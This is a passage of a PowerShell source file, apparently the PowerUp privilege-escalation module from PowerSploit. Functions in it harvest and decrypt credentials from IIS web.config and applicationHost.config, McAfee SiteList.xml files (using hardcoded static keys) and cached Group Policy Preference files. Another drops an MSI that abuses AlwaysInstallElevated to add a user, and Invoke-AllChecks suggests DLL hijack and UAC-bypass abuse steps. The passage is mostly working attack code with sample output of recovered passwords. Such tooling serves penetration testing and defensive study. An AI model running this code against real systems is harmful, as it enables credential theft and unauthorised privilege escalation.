3110 # Setup path for temp web.config to the current user's temp dir
3111 $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config"
3112
3113 # Remove existing temp web.config
3114 if (Test-Path ($WebConfigPath)) {
3115 Remove-Item $WebConfigPath
3116 }
3117
3118 # Copy web.config from vdir to user temp for decryption
3119 Copy-Item $CurrentPath $WebConfigPath
3120
3121 # Decrypt web.config in user temp
3122 $AspnetRegiisCmd = $AspnetRegiisPath.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName'
3123 $Null = Invoke-Expression $AspnetRegiisCmd
3124
3125 # Read the data from the web.config in temp
3126 [xml]$TMPConfigFile = Get-Content $WebConfigPath
3127
3128 # Check if the connectionStrings are still encrypted
3129 if ($TMPConfigFile.configuration.connectionStrings.add) {
3130
3131 # Foreach connection string add to data table
3132 $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object {
3133
3134 [String]$MyConString = $_.connectionString
3135 if($MyConString -like "*password*") {
3136 $ConfUser = $MyConString.Split("=")[3].Split(";")[0]
3137 $ConfPass = $MyConString.Split("=")[4].Split(";")[0]
3138 $ConfServ = $MyConString.Split("=")[1].Split(";")[0]
3139 $ConfVdir = $CurrentVdir
3140 $ConfPath = $CurrentPath
3141 $ConfEnc = 'Yes'
3142 $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc)
3143 }
3144 }
3145
3146 }
3147 else {
3148 Write-Verbose "Decryption of $CurrentPath failed."
3149 $False
3150 }
3151 }
3152 else {
3153 Write-Verbose 'aspnet_regiis.exe does not exist in the default location.'
3154 $False
3155 }
3156 }
3157 }
3158 }
3159
3160 # Check if any connection strings were found
3161 if( $DataTable.rows.Count -gt 0 ) {
3162 # Display results in list view that can feed into the pipeline
3163 $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique
3164 }
3165 else {
3166 Write-Verbose 'No connection strings found.'
3167 $False
3168 }
3169 }
3170 else {
3171 Write-Verbose 'Appcmd.exe does not exist in the default location.'
3172 $False
3173 }
3174
3175 $ErrorActionPreference = $OrigError
3176}
3177
3178
3179function Get-ApplicationHost {
3180 <#
3181 .SYNOPSIS
3182
3183 This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system.
3184
3185 .DESCRIPTION
3186
3187 This script will decrypt and recover application pool and virtual directory passwords
3188 from the applicationHost.config file on the system. The output supports the
3189 pipeline which can be used to convert all of the results into a pretty table by piping
3190 to format-table.
3191
3192 .EXAMPLE
3193
3194 Return application pool and virtual directory passwords from the applicationHost.config on the system.
3195
3196 PS C:\> Get-ApplicationHost
3197 user : PoolUser1
3198 pass : PoolParty1!
3199 type : Application Pool
3200 vdir : NA
3201 apppool : ApplicationPool1
3202 user : PoolUser2
3203 pass : PoolParty2!
3204 type : Application Pool
3205 vdir : NA
3206 apppool : ApplicationPool2
3207 user : VdirUser1
3208 pass : VdirPassword1!
3209 type : Virtual Directory
3210 vdir : site1/vdir1/
3211 apppool : NA
3212 user : VdirUser2
3213 pass : VdirPassword2!
3214 type : Virtual Directory
3215 vdir : site2/
3216 apppool : NA
3217
3218 .EXAMPLE
3219
3220 Return a list of cleartext and decrypted connect strings from web.config files.
3221
3222 PS C:\> Get-ApplicationHost | Format-Table -Autosize
3223
3224 user pass type vdir apppool
3225 ---- ---- ---- ---- -------
3226 PoolUser1 PoolParty1! Application Pool NA ApplicationPool1
3227 PoolUser2 PoolParty2! Application Pool NA ApplicationPool2
3228 VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA
3229 VdirUser2 VdirPassword2! Virtual Directory site2/ NA
3230
3231 .LINK
3232
3233 https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
3234 http://www.netspi.com
3235 http://www.iis.net/learn/get-started/getting-started-with-iis/getting-started-with-appcmdexe
3236 http://msdn.microsoft.com/en-us/library/k6h9cz8h(v=vs.80).aspx
3237
3238 .NOTES
3239
3240 Author: Scott Sutherland - 2014, NetSPI
3241 Version: Get-ApplicationHost v1.0
3242 Comments: Should work on IIS 6 and Above
3243#>
3244
3245 $OrigError = $ErrorActionPreference
3246 $ErrorActionPreference = "SilentlyContinue"
3247
3248 # Check if appcmd.exe exists
3249 if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
3250 # Create data table to house results
3251 $DataTable = New-Object System.Data.DataTable
3252
3253 # Create and name columns in the data table
3254 $Null = $DataTable.Columns.Add("user")
3255 $Null = $DataTable.Columns.Add("pass")
3256 $Null = $DataTable.Columns.Add("type")
3257 $Null = $DataTable.Columns.Add("vdir")
3258 $Null = $DataTable.Columns.Add("apppool")
3259
3260 # Get list of application pools
3261 Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
3262
3263 # Get application pool name
3264 $PoolName = $_
3265
3266 # Get username
3267 $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
3268 $PoolUser = Invoke-Expression $PoolUserCmd
3269
3270 # Get password
3271 $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
3272 $PoolPassword = Invoke-Expression $PoolPasswordCmd
3273
3274 # Check if credentials exists
3275 if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
3276 # Add credentials to database
3277 $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
3278 }
3279 }
3280
3281 # Get list of virtual directories
3282 Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
3283
3284 # Get Virtual Directory Name
3285 $VdirName = $_
3286
3287 # Get username
3288 $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
3289 $VdirUser = Invoke-Expression $VdirUserCmd
3290
3291 # Get password
3292 $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
3293 $VdirPassword = Invoke-Expression $VdirPasswordCmd
3294
3295 # Check if credentials exists
3296 if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
3297 # Add credentials to database
3298 $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
3299 }
3300 }
3301
3302 # Check if any passwords were found
3303 if( $DataTable.rows.Count -gt 0 ) {
3304 # Display results in list view that can feed into the pipeline
3305 $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
3306 }
3307 else {
3308 # Status user
3309 Write-Verbose 'No application pool or virtual directory passwords were found.'
3310 $False
3311 }
3312 }
3313 else {
3314 Write-Verbose 'Appcmd.exe does not exist in the default location.'
3315 $False
3316 }
3317
3318 $ErrorActionPreference = $OrigError
3319}
3320
3321
3322function Get-SiteListPassword {
3323<#
3324 .SYNOPSIS
3325
3326 Retrieves the plaintext passwords for found McAfee's SiteList.xml files.
3327 Based on Jerome Nokin (@funoverip)'s Python solution (in links).
3328
3329 PowerSploit Function: Get-SiteListPassword
3330 Original Author: Jerome Nokin (@funoverip)
3331 PowerShell Port: @harmj0y
3332 License: BSD 3-Clause
3333 Required Dependencies: None
3334 Optional Dependencies: None
3335
3336 .DESCRIPTION
3337
3338 Searches for any McAfee SiteList.xml in C:\Program Files\, C:\Program Files (x86)\,
3339 C:\Documents and Settings\, or C:\Users\. For any files found, the appropriate
3340 credential fields are extracted and decrypted using the internal Get-DecryptedSitelistPassword
3341 function that takes advantage of McAfee's static key encryption. Any decrypted credentials
3342 are output in custom objects. See links for more information.
3343
3344 .PARAMETER Path
3345
3346 Optional path to a SiteList.xml file or folder.
3347
3348 .EXAMPLE
3349
3350 PS C:\> Get-SiteListPassword
3351
3352 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
3353 UserName :
3354 Path : Products/CommonUpdater
3355 Name : McAfeeHttp
3356 DecPassword : MyStrongPassword!
3357 Enabled : 1
3358 DomainName :
3359 Server : update.nai.com:80
3360
3361 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
3362 UserName : McAfeeService
3363 Path : Repository$
3364 Name : Paris
3365 DecPassword : MyStrongPassword!
3366 Enabled : 1
3367 DomainName : companydomain
3368 Server : paris001
3369
3370 EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
3371 UserName : McAfeeService
3372 Path : Repository$
3373 Name : Tokyo
3374 DecPassword : MyStrongPassword!
3375 Enabled : 1
3376 DomainName : companydomain
3377 Server : tokyo000
3378
3379 .LINK
3380
3381 https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
3382 https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/
3383 https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md
3384 https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS_2011_Deeg_Privilege_Escalation_via_Antivirus_Software.pdf
3385#>
3386
3387 [CmdletBinding()]
3388 param(
3389 [Parameter(Position=0, ValueFromPipeline=$True)]
3390 [ValidateScript({Test-Path -Path $_ })]
3391 [String[]]
3392 $Path
3393 )
3394
3395 BEGIN {
3396 function Local:Get-DecryptedSitelistPassword {
3397 # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
3398 # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
3399 # port by @harmj0y
3400 [CmdletBinding()]
3401 Param (
3402 [Parameter(Mandatory=$True)]
3403 [String]
3404 $B64Pass
3405 )
3406
3407 # make sure the appropriate assemblies are loaded
3408 Add-Type -Assembly System.Security
3409 Add-Type -Assembly System.Core
3410
3411 # declare the encoding/crypto providers we need
3412 $Encoding = [System.Text.Encoding]::ASCII
3413 $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider
3414 $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
3415
3416 # static McAfee key XOR key LOL
3417 $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
3418
3419 # xor the input b64 string with the static XOR key
3420 $I = 0;
3421 $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] }
3422
3423 # build the static McAfee 3DES key TROLOL
3424 $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4
3425
3426 # set the options we need
3427 $3DES.Mode = 'ECB'
3428 $3DES.Padding = 'None'
3429 $3DES.Key = $3DESKey
3430
3431 # decrypt the unXor'ed block
3432 $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length)
3433
3434 # ignore the padding for the result
3435 $Index = [Array]::IndexOf($Decrypted, [Byte]0)
3436 if($Index -ne -1) {
3437 $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)])
3438 }
3439 else {
3440 $DecryptedPass = $Encoding.GetString($Decrypted)
3441 }
3442
3443 New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass}
3444 }
3445
3446 function Local:Get-SitelistFields {
3447 [CmdletBinding()]
3448 Param (
3449 [Parameter(Mandatory=$True)]
3450 [String]
3451 $Path
3452 )
3453
3454 try {
3455 [Xml]$SiteListXml = Get-Content -Path $Path
3456
3457 if($SiteListXml.InnerXml -Like "*password*") {
3458 Write-Verbose "Potential password in found in $Path"
3459
3460 $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object {
3461 try {
3462 $PasswordRaw = $_.Password.'#Text'
3463
3464 if($_.Password.Encrypted -eq 1) {
3465 # decrypt the base64 password if it's marked as encrypted
3466 $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''}
3467 }
3468 else {
3469 $DecPassword = $PasswordRaw
3470 }
3471
3472 $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server }
3473 $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath }
3474
3475 $ObjectProperties = @{
3476 'Name' = $_.Name;
3477 'Enabled' = $_.Enabled;
3478 'Server' = $Server;
3479 'Path' = $Path;
3480 'DomainName' = $_.DomainName;
3481 'UserName' = $_.UserName;
3482 'EncPassword' = $PasswordRaw;
3483 'DecPassword' = $DecPassword;
3484 }
3485 New-Object -TypeName PSObject -Property $ObjectProperties
3486 }
3487 catch {
3488 Write-Verbose "Error parsing node : $_"
3489 }
3490 }
3491 }
3492 }
3493 catch {
3494 Write-Warning "Error parsing file '$Path' : $_"
3495 }
3496 }
3497 }
3498
3499 PROCESS {
3500 if($PSBoundParameters['Path']) {
3501 $XmlFilePaths = $Path
3502 }
3503 else {
3504 $XmlFilePaths = @('C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\')
3505 }
3506
3507 $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object {
3508 Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'"
3509 Get-SitelistFields -Path $_.Fullname
3510 }
3511 }
3512}
3513
3514
3515function Get-CachedGPPPassword {
3516<#
3517 .SYNOPSIS
3518
3519 Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host.
3520
3521 PowerSploit Function: Get-CachedGPPPassword
3522 Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y
3523 License: BSD 3-Clause
3524 Required Dependencies: None
3525 Optional Dependencies: None
3526
3527 .DESCRIPTION
3528
3529 Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords.
3530
3531 .EXAMPLE
3532
3533 PS C:\> Get-CachedGPPPassword
3534
3535
3536 NewName : [BLANK]
3537 Changed : {2013-04-25 18:36:07}
3538 Passwords : {Super!!!Password}
3539 UserNames : {SuperSecretBackdoor}
3540 File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
3541 C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
3542 oups.xml
3543
3544 .LINK
3545
3546 http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
3547 https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
3548 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
3549 http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
3550 http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
3551#>
3552
3553 [CmdletBinding()]
3554 Param()
3555
3556 # Some XML issues between versions
3557 Set-StrictMode -Version 2
3558
3559 # make sure the appropriate assemblies are loaded
3560 Add-Type -Assembly System.Security
3561 Add-Type -Assembly System.Core
3562
3563 # helper that decodes and decrypts password
3564 function local:Get-DecryptedCpassword {
3565 [CmdletBinding()]
3566 Param (
3567 [string] $Cpassword
3568 )
3569
3570 try {
3571 # Append appropriate padding based on string length
3572 $Mod = ($Cpassword.length % 4)
3573
3574 switch ($Mod) {
3575 '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
3576 '2' {$Cpassword += ('=' * (4 - $Mod))}
3577 '3' {$Cpassword += ('=' * (4 - $Mod))}
3578 }
3579
3580 $Base64Decoded = [Convert]::FromBase64String($Cpassword)
3581
3582 # Create a new AES .NET Crypto Object
3583 $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
3584 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
3585 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
3586
3587 # Set IV to all nulls to prevent dynamic generation of IV value
3588 $AesIV = New-Object Byte[]($AesObject.IV.Length)
3589 $AesObject.IV = $AesIV
3590 $AesObject.Key = $AesKey
3591 $DecryptorObject = $AesObject.CreateDecryptor()
3592 [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
3593
3594 return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
3595 }
3596
3597 catch {Write-Error $Error[0]}
3598 }
3599
3600 # helper that parses fields from the found xml preference files
3601 function local:Get-GPPInnerFields {
3602 [CmdletBinding()]
3603 Param (
3604 $File
3605 )
3606
3607 try {
3608
3609 $Filename = Split-Path $File -Leaf
3610 [XML] $Xml = Get-Content ($File)
3611
3612 $Cpassword = @()
3613 $UserName = @()
3614 $NewName = @()
3615 $Changed = @()
3616 $Password = @()
3617
3618 # check for password field
3619 if ($Xml.innerxml -like "*cpassword*"){
3620
3621 Write-Verbose "Potential password in $File"
3622
3623 switch ($Filename) {
3624 'Groups.xml' {
3625 $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3626 $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3627 $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3628 $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3629 }
3630
3631 'Services.xml' {
3632 $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3633 $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3634 $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3635 }
3636
3637 'Scheduledtasks.xml' {
3638 $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3639 $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3640 $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3641 }
3642
3643 'DataSources.xml' {
3644 $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3645 $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3646 $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3647 }
3648
3649 'Printers.xml' {
3650 $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3651 $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3652 $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3653 }
3654
3655 'Drives.xml' {
3656 $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3657 $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3658 $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3659 }
3660 }
3661 }
3662
3663 foreach ($Pass in $Cpassword) {
3664 Write-Verbose "Decrypting $Pass"
3665 $DecryptedPassword = Get-DecryptedCpassword $Pass
3666 Write-Verbose "Decrypted a password of $DecryptedPassword"
3667 #append any new passwords to array
3668 $Password += , $DecryptedPassword
3669 }
3670
3671 # put [BLANK] in variables
3672 if (-not $Password) {$Password = '[BLANK]'}
3673 if (-not $UserName) {$UserName = '[BLANK]'}
3674 if (-not $Changed) {$Changed = '[BLANK]'}
3675 if (-not $NewName) {$NewName = '[BLANK]'}
3676
3677 # Create custom object to output results
3678 $ObjectProperties = @{'Passwords' = $Password;
3679 'UserNames' = $UserName;
3680 'Changed' = $Changed;
3681 'NewName' = $NewName;
3682 'File' = $File}
3683
3684 $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
3685 Write-Verbose "The password is between {} and may be more than one value."
3686 if ($ResultsObject) {Return $ResultsObject}
3687 }
3688
3689 catch {Write-Error $Error[0]}
3690 }
3691
3692 try {
3693 $AllUsers = $Env:ALLUSERSPROFILE
3694
3695 if($AllUsers -notmatch 'ProgramData') {
3696 $AllUsers = "$AllUsers\Application Data"
3697 }
3698
3699 # discover any locally cached GPP .xml files
3700 $XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
3701
3702 if ( -not $XMlFiles ) {
3703 Write-Verbose 'No preference files found.'
3704 }
3705 else {
3706 Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
3707
3708 ForEach ($File in $XMLFiles) {
3709 Get-GppInnerFields $File.Fullname
3710 }
3711 }
3712 }
3713
3714 catch {Write-Error $Error[0]}
3715}
3716
3717
3718function Write-UserAddMSI {
3719<#
3720 .SYNOPSIS
3721
3722 Writes out a precompiled MSI installer that prompts for a user/group addition.
3723 This function can be used to abuse Get-RegistryAlwaysInstallElevated.
3724
3725 .EXAMPLE
3726
3727 PS C:\> Write-UserAddMSI
3728
3729 Writes the user add MSI to the local directory.
3730#>
3731
3732 $Path = 'UserAdd.msi'
3733 try {
3734 [System.Convert]::FromBase64String( $Binary ) | Set-Content -Path $Path -Encoding Byte
3735 Write-Verbose "MSI written out to '$Path'"
3736
3737 $Out = New-Object PSObject
3738 $Out | Add-Member Noteproperty 'OutputPath' $Path
3739 $Out
3740 }
3741 catch {
3742 Write-Warning "Error while writing to location '$Path': $_"
3743 $Out = New-Object PSObject
3744 $Out | Add-Member Noteproperty 'OutputPath' $_
3745 $Out
3746 }
3747}
3748
3749
3750function Invoke-AllChecks {
3751<#
3752 .SYNOPSIS
3753
3754 Runs all functions that check for various Windows privilege escalation opportunities.
3755
3756 Author: @harmj0y
3757 License: BSD 3-Clause
3758
3759 .PARAMETER HTMLReport
3760
3761 Switch. Write a HTML version of the report to SYSTEM.username.html.
3762
3763 .EXAMPLE
3764
3765 PS C:\> Invoke-AllChecks
3766
3767 Runs all escalation checks and outputs a status report for discovered issues.
3768
3769 .EXAMPLE
3770
3771 PS C:\> Invoke-AllChecks -HTMLReport
3772
3773 Runs all escalation checks and outputs a status report to SYSTEM.username.html
3774 detailing any discovered issues.
3775#>
3776
3777 [CmdletBinding()]
3778 Param(
3779 [Switch]
3780 $HTMLReport
3781 )
3782
3783 if($HTMLReport) {
3784 $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"
3785
3786 $Header = "<style>"
3787 $Header = $Header + "BODY{background-color:peachpuff;}"
3788 $Header = $Header + "TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;}"
3789 $Header = $Header + "TH{border-width: 1px;padding: 0px;border-style: solid;border-color: black;background-color:thistle}"
3790 $Header = $Header + "TD{border-width: 3px;padding: 0px;border-style: solid;border-color: black;background-color:palegoldenrod}"
3791 $Header = $Header + "</style>"
3792
3793 ConvertTo-HTML -Head $Header -Body "<H1>PowerUp report for '$($Env:ComputerName).$($Env:UserName)'</H1>" | Out-File $HtmlReportFile
3794 }
3795
3796 # initial admin checks
3797
3798 "`n[*] Running Invoke-AllChecks"
3799
3800 $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
3801
3802 if($IsAdmin){
3803 "[+] Current user already has local administrative privileges!"
3804
3805 if($HTMLReport) {
3806 ConvertTo-HTML -Head $Header -Body "<H2>User Has Local Admin Privileges!</H2>" | Out-File -Append $HtmlReportFile
3807 }
3808 }
3809 else{
3810 "`n`n[*] Checking if user is in a local group with administrative privileges..."
3811
3812 $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID
3813 if($CurrentUserSids -contains 'S-1-5-32-544') {
3814 "[+] User is in a local group that grants administrative privileges!"
3815 "[+] Run a BypassUAC attack to elevate privileges to admin."
3816
3817 if($HTMLReport) {
3818 ConvertTo-HTML -Head $Header -Body "<H2> User In Local Group With Administrative Privileges</H2>" | Out-File -Append $HtmlReportFile
3819 }
3820 }
3821 }
3822
3823
3824 # Service checks
3825
3826 "`n`n[*] Checking for unquoted service paths..."
3827 $Results = Get-ServiceUnquoted
3828 $Results | Format-List
3829 if($HTMLReport) {
3830 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Unquoted Service Paths</H2>" | Out-File -Append $HtmlReportFile
3831 }
3832
3833 "`n`n[*] Checking service executable and argument permissions..."
3834 $Results = Get-ModifiableServiceFile
3835 $Results | Format-List
3836 if($HTMLReport) {
3837 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Service File Permissions</H2>" | Out-File -Append $HtmlReportFile
3838 }
3839
3840 "`n`n[*] Checking service permissions..."
3841 $Results = Get-ModifiableService
3842 $Results | Format-List
3843 if($HTMLReport) {
3844 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Modifiable Services</H2>" | Out-File -Append $HtmlReportFile
3845 }
3846
3847
3848 # DLL hijacking
3849
3850 "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..."
3851 $Results = Find-PathDLLHijack
3852 $Results | Where-Object {$_} | Foreach-Object {
3853 $AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'"
3854 $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString
3855 $_
3856 } | Format-List
3857 if($HTMLReport) {
3858 $Results | ConvertTo-HTML -Head $Header -Body "<H2>%PATH% .dll Hijacks</H2>" | Out-File -Append $HtmlReportFile
3859 }
3860
3861
3862 # registry checks
3863
3864 "`n`n[*] Checking for AlwaysInstallElevated registry key..."
3865 if (Get-RegistryAlwaysInstallElevated) {
3866 $Out = New-Object PSObject
3867 $Out | Add-Member Noteproperty 'AbuseFunction' "Write-UserAddMSI"
3868 $Results = $Out
3869
3870 $Results | Format-List
3871 if($HTMLReport) {
3872 $Results | ConvertTo-HTML -Head $Header -Body "<H2>AlwaysInstallElevated</H2>" | Out-File -Append $HtmlReportFile
3873 }
3874 }
3875
3876 "`n`n[*] Checking for Autologon credentials in registry..."
3877 $Results = Get-RegistryAutoLogon
3878 $Results | Format-List
3879 if($HTMLReport) {
3880 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Registry Autologons</H2>" | Out-File -Append $HtmlReportFile
3881 }
3882
3883
3884 "`n`n[*] Checking for modifidable registry autoruns and configs..."
3885 $Results = Get-ModifiableRegistryAutoRun
3886 $Results | Format-List
3887 if($HTMLReport) {
3888 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Registry Autoruns</H2>" | Out-File -Append $HtmlReportFile
3889 }
3890
3891 # other checks
3892
3893 "`n`n[*] Checking for modifiable schtask files/configs..."
3894 $Results = Get-ModifiableScheduledTaskFile
3895 $Results | Format-List
3896 if($HTMLReport) {
3897 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Modifidable Schask Files</H2>" | Out-File -Append $HtmlReportFile
3898 }
3899
3900 "`n`n[*] Checking for unattended install files..."
3901 $Results = Get-UnattendedInstallFile
3902 $Results | Format-List
3903 if($HTMLReport) {
3904 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Unattended Install Files</H2>" | Out-File -Append $HtmlReportFile
3905 }
3906
3907 "`n`n[*] Checking for encrypted web.config strings..."
3908 $Results = Get-Webconfig | Where-Object {$_}
3909 $Results | Format-List
3910 if($HTMLReport) {
3911 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Encrypted 'web.config' String</H2>" | Out-File -Append $HtmlReportFile
3912 }
3913
3914 "`n`n[*] Checking for encrypted application pool and virtual directory passwords..."
3915 $Results = Get-ApplicationHost | Where-Object {$_}
3916 $Results | Format-List
3917 if($HTMLReport) {
3918 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Encrypted Application Pool Passwords</H2>" | Out-File -Append $HtmlReportFile
3919 }
3920
3921 "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files...."
3922 $Results = Get-SiteListPassword | Where-Object {$_}
3923 $Results | Format-List
3924 if($HTMLReport) {
3925 $Results | ConvertTo-HTML -Head $Header -Body "<H2>McAfee's SiteList.xml's</H2>" | Out-File -Append $HtmlReportFile
3926 }
3927 "`n"
3928
3929 "`n`n[*] Checking for cached Group Policy Preferences .xml files...."
3930 $Results = Get-CachedGPPPassword | Where-Object {$_}
3931 $Results | Format-List
3932 if($HTMLReport) {
3933 $Results | ConvertTo-HTML -Head $Header -Body "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile
3934 }
3935 "`n"
3936
3937 if($HTMLReport) {
3938 "[*] Report written to '$HtmlReportFile' `n"
